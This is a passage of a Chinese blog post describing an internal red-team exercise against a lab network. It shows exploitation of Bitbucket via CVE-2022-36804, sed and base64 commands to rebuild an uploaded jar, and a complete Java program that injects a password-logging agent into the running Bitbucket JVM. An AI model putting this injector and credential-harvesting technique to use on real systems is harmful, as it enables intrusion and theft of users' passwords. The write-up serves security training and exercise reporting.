<p><br/></p><section data-v-b4e935ba=""><p><br/></p><section data-v-b4e935ba=""><h1 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:15.959999999999999px;font-weight:bold;display:table;margin:2em auto 1em;padding:0 1em;border-bottom:2px solid rgba(250, 81, 81, 1);color:#3f3f3f;margin-top: 0;">记一次团队内部的红蓝对抗-攻击篇</h1><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:15.400000000000002px;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(250, 81, 81, 1);color:#fff;">任务目标</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">获取到dashe的protonmail邮件：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.530631479736098" title="null" data-type="png" data-w="1061" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=6c9ddd3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0ISicicxHvTsEn5HUeIxMoqZiaeCuziavPyC46K9WZO18sQE7Z901tvoBjg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:15.400000000000002px;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(250, 81, 81, 1);color:#fff;">攻击路径</h2><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.725050916496945" title="null" data-type="png" data-w="982" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ee67a9b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic03cSTiaEypPLchwvicJ2yCgBlrPJwAQlu44YNOP4I8AKl56zjQCtLPicJw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:15.400000000000002px;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(250, 81, 81, 1);color:#fff;">涉及的主要知识点</h2><ul style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin-left:0;padding-left:1em;list-style:circle;color:#3f3f3f;" class="list-paddingleft-1"><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• cve-2022-36804</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• javaAgent内存马记录密码</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• .net machiney反序列化漏洞</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• AV/EDR Bypass</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• 代理技术</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• mssql CLR 提权</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• kerberosting</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• ADCS域提权</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• dpapi</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• mfa绕过</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• ......</p></li></ul><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:15.400000000000002px;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(250, 81, 81, 1);color:#fff;">机器情况</h2><ul style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin-left:0;padding-left:1em;list-style:circle;color:#3f3f3f;" class="list-paddingleft-1"><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• bitbucket 192.168.112.159 [7990]</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• web01 192.168.112.101 [80]</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• sql01 192.168.112.201 [1433]</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• adcs 192.168.112.230  [135,445,80]</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• dc01 192.168.112.100  [135,445,389,88]</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• dashe-pc 192.168.112.50 [445,135]</p></li></ul><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:15.400000000000002px;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(250, 81, 81, 1);color:#fff;">bitbucket</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">通过cve-2022-36804成功执行命令：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.30349794238683125" title="null" data-type="png" data-w="972" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e1257678&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0K0FZby8kM1rcl8b12lgUAgyPniciaib9VU9VUCppLC0HM2oDXqiaBq1lIA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">命令执行回显会被特殊字符截断且目标不出网，使用base64命令绕过限制获得完整回显：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.5472222222222223" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d444bad7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0G3iamvIQ28PgbTLAkBv8WScSP4nDL4GTqRZkKCrgTSakPGGygMiaGXkA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">简单进行信息搜集后，判断该机器为docker服务器且处于独立的vlan，无法与192.168.112.24/24通信。</p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(250, 81, 81, 1);color:#3f3f3f;">深入利用</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">bitbucket为Atlassian公司生产的代码托管平台，主要技术栈为java：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.4935185185185185" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=48450318&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0Th9fBa0Wt7do7xud906vkHibLopRWBibuzK2HRibSaGw2gPr6T9FJvia0w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">很自然我们想到通过该平台获取到代码的源码或域凭据。一般来说常见的代码托管平台就gitlab和bitbucket这两个系列，两种应用的存储实现都是用本地文件+数据库的方式，本地文件是加密的。想要获取源文件需要详细分析系统的功能。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">对于一线的红队工程师而言，我们可以选择一些其他的手段达到同样的效果。笔者这里使用记录明文密码的方式结合系统功能获取目标源码。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">对于这种java系统，记录密码一般操作大概有三种：</p><ol style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin-left:0;padding-left:1em;color:#3f3f3f;" class="list-paddingleft-1"><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>1. 前端js挂马</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>2. 修改login.jsp文件，如zimbra的密码记录</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>3. 从内存的角度解决</p></li></ol><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这里选择了第三种方式，方案1不可行是因为当前为bitbucket权限，不具备修改js文件的权限。方案2不可行是因为不存在这样的登录入口，登录接口如下：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.3490740740740741" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=40ce79ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0CHice9IWr8ns0eWAQ8MUZ51a3GPSwRIN4BjHNQcgHGejf0GFB0BfuBg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">考虑从内存角度对请求进行hook，当前漏洞原理是命令的拼接实现rce，我们需要通过执行命令的方式修改jvm虚拟机正在执行的代码，这种技术就是javaAgent。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">寻找已有的轮子进行修改，选择的项目为：<a href="https://github.com/threedr3am/ZhouYu" target="_blank">https://github.com/threedr3am/ZhouYu</a></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">经过一番测试发现能hook到除了访问j_atl_security_check认证包之外的请求，并不能hook到认证请求。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.4257142857142857" title="null" data-type="png" data-w="1050" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e6ecc03c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0icgBM3tiaHTF9obFZDM33HglgZjFpJQT6wrjKaGHDCoibTuDD9CuD7Aeg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">经过一番测试，发现原版本周瑜HOOK的几个函数对这个认证请求不生效，针对bitbucket笔者找到了登录的函数，修改被hook的函数列表：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.10462962962962963" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=82fc8eb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0GicHATHS3dtibChfV1YmibSHY428Qicjico6FU3pXlzTEFfVRyrb7iarfHkQ%2F640%3Fwx_fmt%3Dpng"/></figure><span style="font-size: 14px;">并且修改插入的代码：</span><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.4484536082474227" title="null" data-type="png" data-w="970" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ad6b3fbe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0RKwx8hteWEoxicicTlJKKWSUMINc6VINvt0GMJjuex7gN4y7ozsjA1tQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">直接编译<a href="https://github.com/7BitsTeam/LearningAgentShell/tree/main/ZhouYu-changed项目，需要带着依赖一起编译，agent-1.0-SNAPSHOT.jar编译结果约8m。" target="_blank">https://github.com/7BitsTeam/LearningAgentShell/tree/main/ZhouYu-changed项目，需要带着依赖一起编译，agent-1.0-SNAPSHOT.jar编译结果约8m。</a></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">如何通过GET请求执行命令且不出网的环境上传一个8m的文件是一个较大的问题。笔者采用笨办法将文件base64后切片，用多个get请求上传，如果有bitbucket项目的修改权限，直接上传到一个项目用curl等命令下载即可。这里没有对应的项目权限。</p><span style="font-size: 14px;">写脚本自动上传，只能get请求还是相当恶心，这里传了2000多个包才成功：</span><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.5080906148867314" title="null" data-type="png" data-w="927" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a2492709&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0nAqWgvfH4ZSno9mvnq4XvFsUF3jdhTibJY8KFuUicicKO2llBiauvXwjSw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">上传的时候有一些要注意的地方，+在漏洞利用截断会被当成url解码，笔者这里使用*替代了+,上传后还需要用sed替换&#34;\n&#34;和*才能获得正常的base64：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">sed <span style="color: #a6e22e;line-height: 26px;">&#34;:a;N;s/\n//g;ta&#34;</span> /var/tmp/1.txt &gt; /var/tmp/2.txt<br/>sed -i <span style="color: #a6e22e;line-height: 26px;">&#34;s/*/+/g&#34;</span> /var/tmp/2.txt<br/>cat 2.txt | base64 -d &gt; /tmp/agent-1.0-SNAPSHOT.jar<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">上传成功后，需要将该jar包注入的bitbucket进程中，使用比较简单的注入程序:</p></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">import com.sun.tools.attach.VirtualMachine;<br/>import com.sun.tools.attach.VirtualMachineDescriptor;<br/> <br/>import java.io.File;<br/>import java.util.List;<br/> <br/> <br/>public class Attach {<br/> <br/> <br/>public static void main(String[] args) throws Exception {<br/> <br/>VirtualMachine                 vm;<br/>List&lt;VirtualMachineDescriptor&gt; vmList;<br/> <br/>String agentFile = new File(<span style="color: #a6e22e;line-height: 26px;">&#34;/tmp/agent-1.0-SNAPSHOT.jar&#34;</span>).getCanonicalPath();<br/>System.out.println(agentFile);<br/>try {<br/>vmList = VirtualMachine.list();<br/><span style="color: #f92672;font-weight: bold;line-height: 26px;">for</span> (VirtualMachineDescriptor vmd : vmList) {<br/>System.out.println(vmd.displayName());<br/><span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (vmd.displayName().contains(<span style="color: #a6e22e;line-height: 26px;">&#34;BitbucketServer&#34;</span>) || <span style="color: #a6e22e;line-height: 26px;">&#34;&#34;</span>.equals(vmd.displayName())) {<br/>vm = VirtualMachine.attach(vmd);<br/> <br/><span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (<span style="color: #a6e22e;line-height: 26px;">&#34;&#34;</span>.equals(vmd.displayName()) &amp;&amp; !vm.getSystemProperties().containsKey(<span style="color: #a6e22e;line-height: 26px;">&#34;catalina.home&#34;</span>)) {<br/><span style="color: #a6e22e;line-height: 26px;">continue</span>;<br/>}<br/> <br/><span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (null != vm) {<br/>vm.loadAgent(agentFile);<br/>System.out.println(<span style="color: #a6e22e;line-height: 26px;">&#34;insert success&#34;</span>);<br/>vm.detach();<br/><span style="color: #a6e22e;line-height: 26px;">return</span>;<br/>}<br/>}<br/>}<br/> <br/>System.out.println(<span style="color: #a6e22e;line-height: 26px;">&#34;No BitbucketServer Virtual Machine found.&#34;</span>);<br/>} catch (Exception e) {<br/>e.printStackTrace();<br/>}<br/>}<br/>}<br/></code></pre></section><section data-v-b4e935ba=""><br/><span style="font-size: 14px;">注入器可以直接在bitbuck编译，执行</span><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.5351851851851852" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e0a33f18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic07ibYib1j3kibJIS08ibwsYSz3AUca2WdCwjVB94OZmDROLmrNdgMZVAOuQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">等待几分钟后成功获取到了账户密码：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.287962962962963" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 